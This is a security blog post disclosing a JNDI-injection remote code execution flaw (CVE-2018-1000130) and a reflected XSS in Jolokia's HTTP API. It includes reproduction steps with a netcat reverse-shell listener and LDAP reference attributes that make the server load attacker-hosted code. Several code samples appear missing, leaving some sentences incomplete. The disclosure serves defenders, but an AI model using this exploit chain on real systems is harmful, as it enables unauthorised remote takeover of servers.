Recently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks.
The following issues are described below:
- 1.4.0 and below. Version 1.5.0 addresses both issues.
Before we start, a little humour – if someone thinks that the documentation is useless for bug hunters, look at this:
Remote Code Execution via JNDI InjectionCVE-2018-1000130
The Jolokia service has a proxy mode that was vulnerable to JNDI injection by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input.
JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution.
If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation.
Steps to reproduce:
For demonstration purposes we’ll run all of the components in the exploit chain on the loopback interface.
The following POST request can be used to exploit this vulnerability:
After that we need to create an
ExportObject.javawith reverse shell command. The bytecode of this class will be served from our HTTP server:
The LDAP Server should be run with the following command line arguments:
http://127.0.0.1:7873/is the URL of the attacker’s HTTP server
ExportObjectis name of the Java class containing the attacker’s code
9092is the LDAP server listen port
nclistener on port
$ nc -lv 7777
After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server.
When the LDAP server, listening on the port
9092, receives a request from the vulnerable server, it creates an
Entryobject with attributes and returns it in the LDAP response.
e.addAttribute("javaClassName", "ExportObject");e.addAttribute("javaCodeBase", "http://127.0.0.1/");e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", "ExportObject");
When the vulnerable server receives the LDAP response, it fetches the
ExportObject.classfrom the attacker’s HTTP server, instantiates the object and executes the reverse shell command.
The attacker receives the connection back from the vulnerable server on his
The Jolokia web application is vulnerable to a classic Reflected Cross-Site Scripting (XSS) attack. By default, Jolokia returns responses with application/json content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter
mimeType to the request:
After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’:
And at the end,
- advice for bug hunters – read documentation! Sometimes it’s useful!
- recommendation for Jolokia users – update the service to version 1.5.0.
Many thanks to Roland Huss from the Jolokia project for working diligently with GDS to mitigate these issues.
*** This is a Security Bloggers Network syndicated blog from Blog authored by Olga Barinova. Read the original post at: http://feedproxy.google.com/~r/GdsSecurityBlog/~3/5UhwZXh-kp8/jolokia-vulnerabilities-rce-xss.html